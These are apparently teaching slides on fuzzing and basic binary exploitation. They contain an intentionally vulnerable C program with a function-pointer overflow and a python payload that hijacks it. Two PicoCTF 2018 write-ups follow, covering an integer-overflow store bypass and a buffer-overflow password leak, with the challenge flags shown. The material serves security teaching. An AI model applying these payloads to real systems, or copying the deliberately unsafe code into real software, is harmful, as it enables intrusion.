

Fuzzing Exploitation



Basic Binary Exploitation
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What is Fuzzing?

- A form of blackbox testing/exploitation
- “Throwing values as inputs and seeing what happens”
- Also used during software development to check for unintended bugs

What is Fuzzing?

- Nowadays, these are mostly automated:
 - Smart fuzzers that can detect executable/field types:
 - American Fuzzy Lop: <https://github.com/mirrorer/afl>
 -or just piping /dev/urandom as the input.
- However basic concepts can still be done manually

Objectives of Fuzzing

- Varies based on purpose
 - Resistance to system/program crashes
 - Unintentional behavior
 - Exploitable behavior
 - Memory read/writes

Fuzzing incidents

<https://appleinsider.com/articles/18/05/09/black-dot-unicode-bug-crashes-ios-messages-app-using-invisible-characters>

<https://thehackernews.com/2014/04/heartbleed-bug-explained-10-most.html>

Types of fuzzing

- Depends on context of the file/inputs being examined.
- Integers:
 - Negative values, integer overflows, zeros, etc....
- Char/Strings:
 - Whitespace, null characters, format strings....
- SQL queries:
 - Quotations, comments, other unexpected characters
- Data Structures:
 - “Edge Case” operations, memory leaks
- Gotta be creative....

vuln.c (source)

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define NAME_SIZE 16

char name[NAME_SIZE] = "TEMPINIT"; //16 should be enough for most names
void (*fun_ptr)();

void secret() {
    puts("You found my secret! \n");
}
void initialize(char* arg) {
    strncpy(name, arg, 24); //Since we are writing to a global variable, and global variables aren't stored on the stack, no harm in writing a bit more, right?
}
void foo1() {
    printf("Hello, %s! You are in function 1! \n", name);
}

void foo2() {
    printf("You have called function 2, %s \n", name);
}

void foo3() {
    printf("Sorry, %s! This is function 3! \n", name);
}

void call_correct_function(int val) {
    switch(val) {
        case 1:
            fun_ptr = &foo1;
            break;
        case 2:
            fun_ptr = &foo2;
            break;
        case 3:
            fun_ptr = &foo3;
            break;
    }
    (*fun_ptr)();
}

int main(int argc, char *argv[]) {
    if(argc != 3) // we must only take two command line arguments
    {
        exit(0);
    }
    int val = atoi(argv[1]); //Converts the first command line argument into an integer
    initialize(argv[2]); //Set the second command line argument as the name
    call_correct_function(val);
    return 0;
}
```

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    call_correct_function(val);
    return 0;
}
```


./vuln (works well enough)

```
student@cassiopeia:~/ICS/misc$ ./vuln 1 Jack
Hello, Jack! You are in function 1!
student@cassiopeia:~/ICS/misc$ ./vuln 2 Kevin
You have called function 2, Kevin
student@cassiopeia:~/ICS/misc$ ./vuln 3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sorry, AAAAAAAAAAAAAAAAAAAAAA>! This is function 3!
student@cassiopeia:~/ICS/misc$ █
```

What if we pass in a value other than 1, 2, or 3?

vuln.c (gdb)

Ascii code of “A” is 41.....

```
student@cassiopeia:~/ICS/misc$ gdb vuln -q
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) run 4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/student/ICS/misc/vuln 4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0  0x41414141 in ?? ()
#1  0x0804859e in call_correct_function ()
#2  0x0804857a in main ()
(gdb) disas call_correct_function
Dump of assembler code for function call_correct_function:
0x0804855c <+0>:   push   %ebp
0x0804855d <+1>:   mov    %esp,%ebp
0x0804855f <+3>:   sub    $0x8,%esp
0x08048562 <+6>:   mov    0x8(%ebp),%eax
0x08048565 <+9>:   cmp    $0x2,%eax
0x08048568 <+12>:  je     0x8048580 <call_correct_function+36>
0x0804856a <+14>:  cmp    $0x3,%eax
0x0804856d <+17>:  je     0x804858c <call_correct_function+48>
0x0804856f <+19>:  cmp    $0x1,%eax
0x08048572 <+22>:  jne   0x8048597 <call_correct_function+59>
0x08048574 <+24>:  movl  $0x8048502,0x804a040
0x0804857e <+34>:  jmp   0x8048597 <call_correct_function+59>
0x08048580 <+36>:  movl  $0x8048520,0x804a040
0x0804858a <+46>:  jmp   0x8048597 <call_correct_function+59>
0x0804858c <+48>:  movl  $0x804853e,0x804a040
0x08048596 <+58>:  nop
0x08048597 <+59>:  mov   0x804a040,%eax
0x0804859c <+64>:  call  *%eax
0x0804859e <+66>:  nop
0x0804859f <+67>:  leave
0x080485a0 <+68>:  ret
End of assembler dump.
(gdb) █
```

vuln.c (assembly)

```
080484cb <secret>:
80484cb: 55          push   %ebp
80484cc: 89 e5      mov    %esp,%ebp
80484ce: 83 ec 08   sub   $0x8,%esp
80484d1: 83 ec 0c   sub   $0xc,%esp
80484d4: 68 90 86 04 08 push  $0x8048690
80484d9: e8 92 fe ff ff call  8048370 <puts@plt>
80484de: 83 c4 10   add   $0x10,%esp
80484e1: 90        nop
80484e2: c9        leave
80484e3: c3        ret

080484e4 <initialize>:
80484e4: 55          push   %ebp
80484e5: 89 e5      mov    %esp,%ebp
80484e7: 83 ec 08   sub   $0x8,%esp
80484ea: 83 ec 04   sub   $0x4,%esp
80484ed: 6a 18     push  $0x18
80484ef: ff 75 08   pushl 0x8(%ebp)
80484f2: 68 2c a0 04 08 push  $0x804a02c
80484f7: e8 a4 fe ff ff call  80483a0 <strncpy@plt>
80484fc: 83 c4 10   add   $0x10,%esp
80484ff: 90        nop
8048500: c9        leave
8048501: c3        ret

08048502 <foo1>:
8048502: 55          push   %ebp
8048503: 89 e5      mov    %esp,%ebp
8048505: 83 ec 08   sub   $0x8,%esp
8048508: 83 ec 08   sub   $0x8,%esp
804850b: 68 2c a0 04 08 push  $0x804a02c
8048510: 68 a8 86 04 08 push  $0x80486a8
8048515: e8 46 fe ff ff call  8048360 <printf@plt>
804851a: 83 c4 10   add   $0x10,%esp
804851d: 90        nop
804851e: c9        leave
804851f: c3        ret

08048520 <foo2>:
8048520: 55          push   %ebp
8048521: 89 e5      mov    %esp,%ebp
8048523: 83 ec 08   sub   $0x8,%esp
8048526: 83 ec 08   sub   $0x8,%esp
8048529: 68 2c a0 04 08 push  $0x804a02c
804852c: 68 cc 86 04 08 push  $0x80486cc
8048533: e8 28 fe ff ff call  8048360 <printf@plt>
8048538: 83 c4 10   add   $0x10,%esp
804853b: 90        nop
804853c: c9        leave
804853d: c3        ret

0804853e <foo3>:
804853e: 55          push   %ebp
804853f: 89 e5      mov    %esp,%ebp
8048541: 83 ec 08   sub   $0x8,%esp
8048544: 83 ec 08   sub   $0x8,%esp
8048547: 68 2c a0 04 08 push  $0x804a02c
804854c: 68 f0 86 04 08 push  $0x80486f0
8048551: e8 0a fe ff ff call  8048360 <printf@plt>
8048556: 83 c4 10   add   $0x10,%esp
8048559: 90        nop
804855a: c9        leave
804855b: c3        ret
```

```
080484cb <secret>:
80484cb: 55          push   %ebp
80484cc: 89 e5      mov    %esp,%ebp
80484ce: 83 ec 08   sub   $0x8,%esp
80484d1: 83 ec 0c   sub   $0xc,%esp
80484d4: 68 90 86 04 08 push  $0x8048690
80484d9: e8 92 fe ff ff call  8048370 <puts@plt>
80484de: 83 c4 10   add   $0x10,%esp
80484e1: 90        nop
80484e2: c9        leave
80484e3: c3        ret
```

Of course, assuming PIE and ASLR are disabled.....

./vuln (secret)

```
student@cassiopeia:~/ICS/misc$ python -c 'print "A"*20 + "\xcb\x84\x04\x08"' > exploit.txt
student@cassiopeia:~/ICS/misc$ ./vuln -1 $(cat exploit.txt)
You found my secret!

student@cassiopeia:~/ICS/misc$ █
```

PicoCTF-2018: Store

- Connect to ``nc 2018shell2.picoctf.com 43581`` and see if you can get the flag!
- Hints: What assumptions can you make? How is the transaction calculated? Is there any way to increase the money after a purchase?

Source.c (store.c)

```
int main()
{
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){

        printf("Welcome to the Store App V1.0\n");
        printf("World's Most Secure Purchasing App\n");

        printf("\n[1] Check Account Balance\n");
        printf("\n[2] Buy Stuff\n");
        printf("\n[3] Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n Account Balance: %d \n\n", account_balance);
        }
        else if(menu == 2){
            printf("Current Auctions\n");
            printf("[1] I Can't Believe its not a Flag\n");
            printf("[2] Real Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("Imitation Flags cost 1000 each, how many would you like?\n");

                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 1000*number_flags;
                    printf("\nYour total cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour new balance: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds\n");
                    }
                }
            }
            else if(auction_choice == 2){
                printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to purchase");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);

                if(bid == 1){
                    if(account_balance > 100000){
                        printf("YOUR FLAG IS:\n");
                    }
                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }
                }
            }
        }
    }
}
```

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if(number_flags > 0){
    int total_cost = 0;
    total_cost = 1000*number_flags;
    printf("\nYour total cost is: %d\n", total_cost);
    if(total_cost <= account_balance){
        account_balance = account_balance - total_cost;
        printf("\nYour new balance: %d\n\n", account_balance);
    }
    else{
        printf("Not enough funds\n");
    }
}
```

Max value of an int is 2147483647, and since we are multiplying the number of flags by 1000.....

store

```
student@cassiopeia:~/ICS/misc$ nc 2018shell2.picocftf.com 43581
Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance
[2] Buy Stuff
[3] Exit

Enter a menu selection
1

Balance: 1100

Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance
[2] Buy Stuff
[3] Exit

Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
1
Imitation Flags cost 1000 each, how many would you like?
3000000

Your total cost is: -1294967296

Your new balance: 1294968396

Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance
[2] Buy Stuff
[3] Exit

Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
2
A genuine Flag costs 100000 dollars, and we only have 1 in stock
Enter 1 to purchase1
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_6bd13a8c}
Welcome to the Store App V1.0
```

PicoCTF-2018: Leak Me

- Connect to `2018shell2.picoctf.com 57659` to see if you can retrieve the password that can get you the flag!
- Hint: Some names can be reeeeeaaaally long, you know.

auth.c

```
int main(int argc, char **argv)
{
    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    // real pw:
    FILE *file;
    char password[64];
    char name[256];
    char password_input[64];

    memset(password, 0, sizeof(password));
    memset(name, 0, sizeof(name));
    memset(password_input, 0, sizeof(password_input));

    printf("What is your name?\n");

    fgets(name, sizeof(name), stdin);
    char *end = strchr(name, '\n');
    if (end != NULL) {
        *end = '\x00';
    }

    strcat(name, ",\nPlease Enter the Password.");

    file = fopen("password.txt", "r");
    if (file == NULL) {
        printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
        exit(0);
    }

    fgets(password, sizeof(password), file);

    printf("Hello ");
    puts(name);

    fgets(password_input, sizeof(password_input), stdin);
    password_input[sizeof(password_input)] = '\x00';

    if (!strcmp(password_input, password)) {
        flag();
    }
    else {
        printf("Incorrect Password!\n");
    }
    return 0;
}
```

```
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    FILE *file;
    char password[64];
    char name[256];
    char password_input[64];

    memset(password, 0, sizeof(password));
    memset(name, 0, sizeof(name));
    memset(password_input, 0, sizeof(password_input));

    printf("What is your name?\n");

    fgets(name, sizeof(name), stdin);
    char *end = strchr(name, '\n');
    if (end != NULL) {
        *end = '\x00';
    }

    strcat(name, "\nPlease Enter the Password.");

    file = fopen("password.txt", "r");
    if (file == NULL) {
        printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
        exit(0);
    }

    fgets(password, sizeof(password), file);

    printf("Hello ");
    puts(name);

    fgets(password_input, sizeof(password_input), stdin);
    password_input[sizeof(password_input)] = '\x00';

    if (!strcmp(password_input, password)) {
        flag();
    }
    else {
        printf("Incorrect Password!\n");
    }
    return 0;
}
```

auth

```
student@cassiopeia:~/ICS/misc$ python -c 'print "A"*256' | nc 2018shell2.picoctf.com 57659
What is your name?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
s3cuRe_p4s$word_56b977

Incorrect Password!
student@cassiopeia:~/ICS/misc$ nc 2018shell2.picoctf.com 57659
What is your name?
Daniel
Hello Daniel,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_56b977
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_2b5cbbaa}
student@cassiopeia:~/ICS/misc$ █
```

Further Readings/Sources

<https://www.mwrinfosecurity.com/our-thinking/15-minute-guide-to-fuzzing/>

<https://www.owasp.org/index.php/Fuzzing>